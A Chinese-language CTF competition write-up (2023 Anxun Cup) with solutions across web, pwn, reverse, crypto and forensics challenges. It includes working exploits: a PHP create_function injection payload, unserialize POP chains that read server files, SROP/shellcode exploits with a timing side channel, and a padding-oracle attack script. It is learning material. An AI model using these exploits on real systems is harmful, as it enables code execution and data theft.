2023“安洵杯”网络安全挑战赛wp

团队wp,本人做了2题密码和misc。

WEB

what's my name

通过代码审计得知如若要使得最后得@$miao=create_function('$a, $b', $sort_function);产生代码执行的话我们就必须满足上面的两个if条件if(preg_match('/^(?:.{5})*include/',$d0g3))if(strlen($d0g3)==substr($miao, -2)&&$name===$miao)

那么此时我们先从最后的代码执行入手,先构造攻击代码:

此时我们知道reate_function()函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况;此时根据下面这篇文章我们来构造攻击代码:

 代码审计之create_function()函数

可知:

$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
@$miao=create_function('$a, $b', $sort_function);
@$miao=create_function('$a, $b', ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);');

匿名函数的执行:

function miao($a,$b){
    return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);
}

那么此时经过我们的构造传入?d0g3="]);}phpinfo();/*后;整个匿名函数的执行会变成:

function miao($a,$b){
	return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}

因为create_function()函数会在内部执行eval()那么此时便会执行eval(phpinfo())造成代码攻击。

接下来我们开始考虑绕过问题;此时我们从第一个if入手if(preg_match('/^(?:.{5})*include/',$d0g3))此时需要第五个字符后出现include那么此时我们直接在我们原先构造的payload的第五个字符后面直接加入include即可成功实现绕过:

此时要求我们输入的$d0g3长度等于$miao的最后两个字符相等;此时我们输入的?d0g3="]);}include(phpinfo());/*共计26个字符,那么此时的考点在于匿名函数的名字是有规律的;此时运行一次便会加一:

那么此时的满足strlen($d0g3)==substr($miao, -2)就很容易了;我们直接执行payload25即可成功满足。

此时我们在本地运行时会发现匿名函数的名字前面会有一个空字符:

我们直接使用%00来绕过最后这个强比较:

?d0g3="]);}include(phpinfo());/*&name=%00lambda_26

easy_unserialize

我们开始寻找反序列化链子;此时我们把链尾定格在class Flag类中:

array_walk 函数对数组 $this 中的每个元素应用指定的回调函数。回调函数接收两个参数:$one 为当前元素的值,$two 为当前元素的键。看到这里可以马上想到原生类利用攻击:

所以此时我们将其暂时定为链尾;接下来要触发__invoke的条件是当对象被当作函数调用时;此时我们就可以定位到Luck类中的__toString()此时$l1会被当作函数进行调用;而我们知道当对象被当作字符串输出时会触发;所以此时我们依旧定格在 Luck 类的__unset($arg1)上面;此时的函数会将 md5 当作字符串进行处理;此时我们继续往下面看;我们知道__unset的触发是使用unset()时触发;所以继续定位到 You 类的__wakeup上面;此时使用了unset($this->y1->y1);会导致 Luck 类上的 unset 被触发;至此整条 pop 链子已经构造完毕:

You_wakeup() -> Luck_unset() Luck_toString() -> Flag_invoke()

上面提到根据最后一个 Flag 类中的方法我们可知可以构造原生类攻击:

exp:

class Luck{
    public $l1;
    public $md5;

}
class You{
    public $y1;
    public function __construct(){
        $this->y1 = new Luck;
    }
}
class Flag{
    public $GlobIterator;
}

$a = new You;
$a->y1->md5 = new Luck;
$a->y1->md5->l1 = new Flag;
$a->y1->md5->l1->GlobIterator="../../../*";
echo urlencode(serialize($a));
?>

<?php
class Luck{
	public $l1;
	public $md5;
}

class You{
	public $y1;
	public function __construct(){
	$this->y1 = new Luck;
	}
}

class Flag{
	public $SplFileObject;
}

$a = new You;
$a->y1->md5 = new Luck;
$a->y1->md5->l1 = new Flag;
$a->y1->md5->l1->SplFileObject="/FfffLlllLaAaaggGgGg";
echo urlencode(serialize($a));
?>

PWN

side_channel

保护:

沙箱:

思路:

栈溢出,刚好16字节覆盖返回地址,栈迁移。无pop类可用的gadgets,但有系统调用,考虑SROP。ropper查找也能找到mov rax, 0xf; ret这类指令,因此SROP没跑了。并且沙箱白名单里有mprotect,因此可以改权限写shellcode,然后就是经典的SCA了。

from pwn import *
import time

context(arch='amd64', os='linux')

syscall_pop_rbp_ret = 0x000000000040118a
ret = 0x0000000000401016
leave_ret = 0x000000000040136c
mov_rax_15_ret = 0x0000000000401194

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_mprotect
sigframe.rdi = 0x404000
sigframe.rsi = 4096
sigframe.rdx = 0x7
sigframe.rsp = 0x404268
sigframe.rip = syscall_pop_rbp_ret

def pwn(pos, char):
    shellcode = f'''
        /* SYS_open */
        push 0x67616c66
        mov rdi, rsp
        xor edx, edx /* 0 */
        xor esi, esi /* 0 */
        /* call open() */
        push SYS_open /* 2 */
        pop rax
        syscall
        /* SYS_read */
        mov rdi, rax
        mov rsi, 0x404060+ 0x500
        mov rdx, 0x100
        xor rax, rax
        syscall
    s:
        mov rdx, rsi
        cmp byte ptr [rdx + {pos}], {char}
        ja loop
        mov rax, 231
        syscall
    loop:
        jmp loop
'''
    shellcode = asm(shellcode)
    payload = shellcode + b'\x00'* (0x100 - len(shellcode))
    payload += p64(mov_rax_15_ret) + p64(syscall_pop_rbp_ret) + bytes(sigframe)
    payload += p64(0) + p64(0x404060)
    io.sendafter('easyhack', payload)
    payload = b'a'*0x2a + p64(0x404060+0x100-8) + p64(leave_ret)
    io.sendafter('SUID?', payload)

if __name__ == '__main__':
    flag = ''  
    pos = len(flag)
    i=0 
    while True:
        left, right = 33, 127
        while left < right:
            mid = (left + right) >> 1
            #io = process('./chall')
            io = remote('47.108.206.43', 34694)
            pwn(pos, mid)
            start = time.time()
            io.can_recv_raw(timeout=2)
            end = time.time()
            io.close()
            if end - start > 2:
                left = mid + 1
            else:
                right = mid
            print('times:{}, cur: {}'.format(i, mid))
            i += 1
        flag += chr(left)
        print(f'flag: {flag}')
        if pos >= 36:
            break
        pos += 1
    log.info(flag)

seccomp

比第一题简单,区别是没禁用write系统调用,但也不允许mprotect,因此直接栈迁移,并构造一个SROP链执行orw即可。

from pwn import *

context(arch='amd64', os='linux')

#io = process('./chall')
io = remote('47.108.206.43', 47654)

syscall_pop_rbp_ret = 0x000000000040118a
ret = 0x0000000000401016
leave_ret = 0x000000000040136c
mov_rax_15_ret = 0x0000000000401194

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_open
sigframe.rdi = 0x404060
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rsp = 0x404360
sigframe.rip = syscall_pop_rbp_ret

sigframe1 = SigreturnFrame()
sigframe1.rax = constants.SYS_read
sigframe1.rdi = 3
sigframe1.rsi = 0x404060 + 0xf00
sigframe1.rdx = 0x100
sigframe1.rsp = 0x404660
sigframe1.rip = syscall_pop_rbp_ret


sigframe2 = SigreturnFrame()
sigframe2.rax = constants.SYS_write
sigframe2.rdi = 1
sigframe2.rsi = 0x404060 + 0xf00
sigframe2.rdx = 0x100
sigframe2.rip = syscall_pop_rbp_ret

# open
payload = b'flag\x00\x00\x00\x00'
payload += p64(mov_rax_15_ret) + p64(syscall_pop_rbp_ret) + bytes(sigframe)
payload = payload.ljust(0x300, b'\x00')

# read
payload += p64(0)
payload += p64(mov_rax_15_ret) + p64(syscall_pop_rbp_ret) + bytes(sigframe1)
payload = payload.ljust(0x600, b'\x00')

# write
payload += p64(0)
payload += p64(mov_rax_15_ret) + p64(syscall_pop_rbp_ret) + bytes(sigframe2)

io.sendafter('easyhack', payload)
#gdb.attach(io, 'b *0x40143c')
#pause()
payload = b'a'*0x2a + p64(0x404060) + p64(leave_ret)
io.sendafter('SUID?', payload)

io.interactive()

REVERSE

mobilego

下断点,动调,找到打乱的映射关系,写脚本还原即可。

a = "q3gyj}eozkfxhtualLncpAsrdvFb50wG124i{m"
b = "49021}5f919038b440139g74b7Dc88330e5d{6"
c = r"FLAG{abcdefghijklmnopqrstuvwxyz012345}"
flag = ''

for i in c:
    for j in range(len(a)):
        if i == a[j]:
            flag += b[j]

print(flag)

感觉有点点简单

找到主函数,里面有两次加密。

一个是魔改rc4 一个是魔改base64 :

魔改rc4,%255改成了%64,最后一句异或的结构变了。

base看不出来哪里变了,但是就只有这里有问题了,正常换表base无法得到结果。

逆向程序流程先base解码再rc4解码,base64魔改脚本不会,采取爆破。四个字符串爆破出三,请看脚本。 exp:

import base64
def ba64_decode(str1):
    mapping = "4KBbSzwWClkZ2gsr1qA+Qu0FtxOm6/iVcJHPY9GNp7EaRoDf8UvIjnL5MydTX3eh"
    data=[0]*4
    flag=[0]*3
    for i in range(0,255):
        for y in range(0,255):
            for k in range(0,255):
                flag[0]=(i)
                flag[1]=(y)
                flag[2]=(k)
                data[0]=ord(mapping[flag[0]&0x3f])
                data[1]=ord(mapping[(4 * (flag[1] & 0xF)) | ((flag[0] & 0xC0) >> 6)])
                data[2]=ord(mapping[(16*(flag[2]&3))|(flag[1]&0xf0)>>4])
                data[3]=ord(mapping[(flag[2]&0xfc)>>2])
                FLAG=1
                if data==str1:
                    print(flag)
                    FLAG=0
                    return 0

    if flag==1:
        print("1")

encoded_str = list("6zviISn2McHsa4b108v29tbKMtQQXQHA+2+sTYLlg9v2Q2Pq8SP24Uw=")
flag=[ord(x)for x in encoded_str]
flag.append(0)
for i in range(0,len(encoded_str),4):

    ba64_decode(flag[i:i+4])

RC4:

import requests
import base64
import hashlib
def rc4_decrypt(key, ciphertext):

    key_length = len(key)
    S = list(range(64))
    j = 0
    for i in range(64):
        j = (j + S[i] + key[i % key_length]) % 64
        S[i], S[j] = S[j], S[i]

    i = j = 0
    plaintext = bytearray()

    for char in ciphertext:
        i = (i + 1) % 64
        j = (j + S[i]) % 64
        S[i], S[j] = S[j], S[i]
        keystream_byte = S[(S[i] + S[j]+(i^j)) % 64]
        plaintext.append(char ^ ((i^j)&keystream_byte))

    return bytes(plaintext)



key = [ord(x)for x in 'the_key_']
#填写key
data = [92, 33, 123,51, 81, 51,56, 40, 58,43, 48, 64,22, 44, 51,37, 54, 4,56, 70, 81,60, 37, 74,19, 51, 57,59, 105, 39,77, 41, 51,20, 51, 70,48, 49, 50]
print(rc4_decrypt(key,data))

牢大想你了

瞎翻了一下,发现一个tea算法

提取有用的:

key,待解密数据 :

之前用的tea解码找不到了,网上瞎找了一个,不太好用,data太长就不行了。所以需要把data数据两个两个解码。(正常的模板直接出结果,找个模板稍微麻烦点)

#include <stdio.h>
#include <stdint.h>



void Decrypt(long* EntryData, long* Key)
{
    //分别加密数组中的前四个字节与后4个字节,4个字节为一组每次加密两组
    unsigned long x = EntryData[0];
    unsigned long y = EntryData[1];

    unsigned long sum = 0;
    unsigned long delta = 2654435769;
    sum = delta << 5;   //注意这里,sum = 32轮之后的黄金分割值. 因为我们要反序解密.
    //总共加密32轮 那么反序也解密32轮
    for (int i = 0; i < 32; i++)
    {

        // 先将y解开 然后参与运算在解x
        y -= ((x << 4) + Key[2]) ^ (x + sum) ^ ((x >> 5) + Key[3]);
        x -= ((y << 4) + Key[0]) ^ (y + sum) ^ ((y >> 5) + Key[1]);
        sum -= delta;
    }
    EntryData[0] = x;
    EntryData[1] = y;
}

int main()
{

//Encrypt每次只是加密4字节数组中的两组(也就是每次加密8个字节) 如果你数据多.可以来个for循环来循环加密,但是Entrypt内部还有32次循环,所以速度上还是会有点影响.
  
    long Data[] = { 3363017039, 1247970816};
//每次运行带进去两个549943836, 445086378, 3606751618, 1624361316, 3112717362, 705210466, 3343515702, 2402214294,
         4010321577, 2743404694
    printf("待加密的数值 = %s\r\n", (char*)Data);

    long key[4] = { 286331153, 286331153, 286331153, 286331153 };

    Decrypt(Data, key);
    printf("解密后的数值 = %s\r\n", (char*)Data);
    system("pause");
}

CRYPTO

Cry1

观察源代码,发现将生成的 p 转化为了 2 进制,并且随机将 1bit 的 0 转化成了 1,将 1bit的 1 转化成了 0,所以我直接大力出奇迹,直接爆破。

exp:

from Crypto.Util.number import *
import itertools

def fix_p(modified_p, n):
    binary_p = bin(modified_p)[2:].zfill(2048)
    one_indices = [i for i, bit in enumerate(binary_p) if bit == '1']
    zero_indices = [i for i, bit in enumerate(binary_p) if bit == '0']

    for i, j in itertools.product(one_indices, zero_indices):
        # 尝试将一个 '1' 改成 '0',一个 '0' 改成 '1'
        possible_p = list(binary_p)
        possible_p[i], possible_p[j] = '0', '1'
        possible_p = int(''.join(possible_p), 2)

        # 检查可能的 p 是否是素数
        if isPrime(possible_p):
            # 检查 n 是否是 p 和另一个大数的乘积
            q, r = divmod(n, possible_p)
            if r == 0 and isPrime(q):
                return possible_p, q

    return None, None

# 使用一个已知的修改后的 p 和对应的 n
modified_p = int(0b...)  # 这里应该是你从服务器获取的修改后的 p 的值
n = ...

p, q = fix_p(modified_p, n)

c = ...
e = 0x10001

phi = (p-1) * (q-1)
d = inverse(e, phi)

flag = long_to_bytes(pow(c,d,n))
print(flag)

Cry2

很经典的 Oracle Padding Attack,前16字节是 IV,后面的是明文,服务器端根据能否解密返回 True 和 False。

参考文章:一文搞明白 Padding Oracle Attack

前期的脚本用 AI 跑的,因此用的是 socket 库而非 pwntools:

import socket
import binascii
import hashlib
import time


class PaddingOracleAttack(object):

    def __init__(self, cipher, iv):
        self.cipher = cipher

        # 把密文分割成列表,每个列表元素16字节
        self.cipher_lst = self.split_block(self.cipher)

        # 解密的中间值
        self.mid_lst = [self.brute_middle(self.cipher_lst[-1])]

        # 存储计算出来的明文
        self.plain_lst = [[] for _ in self.cipher_lst]

    @classmethod
    def split_block(cls, cipher):
        cipher_list = []
        for i in range(0, len(cipher), 16):
            cipher_list.append(cipher[i: i + 16])
        return cipher_list

    def calc_new_tail(self, tail, idx):
        new_tail = b""
        for t in tail:
            _tail = t ^ (idx - 1) ^ idx
            new_tail += _tail.to_bytes(1, byteorder="big")
        return new_tail

    def brute_middle(self, cipher_line):
        '''暴力破解解密的中间值'''
        tail = b""
        mid_lst = []
        # 从pad 为0x01开始 到 0x10
        for pad in range(1, 17):

            # 计算新的pad尾部,因为每计算出来一个pad,再往前计算新的pad的时候,尾部的每一个值异或出来都要放大1位。
            tail = self.calc_new_tail(tail, pad)

            find_pad = False
            for i in range(0, 256):
                # 形成2个密文块
                cipher = b"\x00" * (16 - pad) + i.to_bytes(1, byteorder="big") + tail + cipher_line
                #print(cipher.hex().encode())
                try:
                    s.sendall(b'2\n')
                    if not s.recv(1024).strip():
                        time.sleep(0.5)
                    s.sendall(cipher.hex().encode() + b'\n')
                    response = s.recv(1024).decode().strip()
                except socket.timeout:
                    continue
                if response == "True":
                    # print("[!] Cipher - %s" % cipher)
                    find_pad = True
                    tail = i.to_bytes(1, byteorder="big") + tail

                    mid_chr = i ^ pad
                    mid_lst.insert(0, mid_chr)
                    break

            if not find_pad:
                raise Exception("Error not find pad!")

        return bytes(mid_lst)

    def decrypt(self):
        '''解密'''
        # 从最后开始计算
        self.mid_lst = []
        for _idx in range(len(self.cipher_lst), 0, -1):
            line_idx = _idx - 1
            cipher_line = self.cipher_lst[line_idx]

            if line_idx >= 1:
                # 获取上一行密文数据,因为每一行的明文加密之前需要与上一行的密文异或
                p_cipher_line = self.cipher_lst[line_idx - 1]
            else:
                # 如果是第一行,则其与IV异或
                p_cipher_line = iv

            _mid = self.brute_middle(cipher_line)
            self.mid_lst.insert(0, _mid)
            for idx, _m in enumerate(_mid):
                plain_chr = _m ^ p_cipher_line[idx]
                self.plain_lst[line_idx].append(plain_chr)

        plain = b""
        for p in self.plain_lst:
            plain += bytes(p)

        return plain
    
if __name__ == "__main__":
    ip = '124.71.177.14'
    port = 10010

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))

    # 解决哈希挑战
    challenge = s.recv(4096).decode()
    hash_str = challenge[14:30]
    hash_256 = challenge[32:96]
    for a in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789':
        for b in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789':
            for c in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789':
                for d in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789':
                    test_str = a + b + c + d + hash_str
                    if hashlib.sha256(test_str.encode('utf-8')).hexdigest() == hash_256:
                        print(a+b+c+d)
                        s.sendall((a+b+c+d).encode() + b'\n')
                        break

    s.sendall(b'1\n')
    s.recv(4096)
    encrypted_flag_hex = s.recv(4096).decode().split(':')[1].strip()
    encrypted_flag = binascii.unhexlify(encrypted_flag_hex)
    cipher = encrypted_flag[16:]    # 获取密文
    iv = encrypted_flag[0:16]         # 获取初始化向量
    print(cipher,iv)
    poa_atck = PaddingOracleAttack(cipher, iv)
    plain = poa_atck.decrypt()
    print(plain)

MISC

签到

看图写字。

dacongのWindows

windows10 的取证,用 vol2 的话没办法提取镜像里面的文件,所以必须用 vol3 做。flag 分为 3 段,依次给出方法。

flag1 位于\Users\miku\Music\dacong_like_listen\dacong39.wav中,这个其实是我最后一个找出来的,是找了半天没找到于是直接翻了 filescan 的内容,然后看到了有很多看起来很可疑的 wav 文件,就专门过滤了下,好家伙这么多:

如果你不听初音未来,那么就要饱受 50 个 sstv 的顶级折磨,但我是高贵的术术人(,所以我一眼顶针,flag1 在 dacong39.wav 中,事实证明,果然如此:

flag2 在 secret.rar 中,提取出来后是这么一段东西:

一眼关键字 snow,结合这个文档确实存在很多空白处,直接上 SNOW 隐写:

最后 flag3 就在 flag3.txt 中,提取出来后一眼加盐 AES:

根据题目描述,很重要的表里面有东西被改了,那应该就是注册表了,查看注册表的内容:

很好,拿下:

  • 4
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值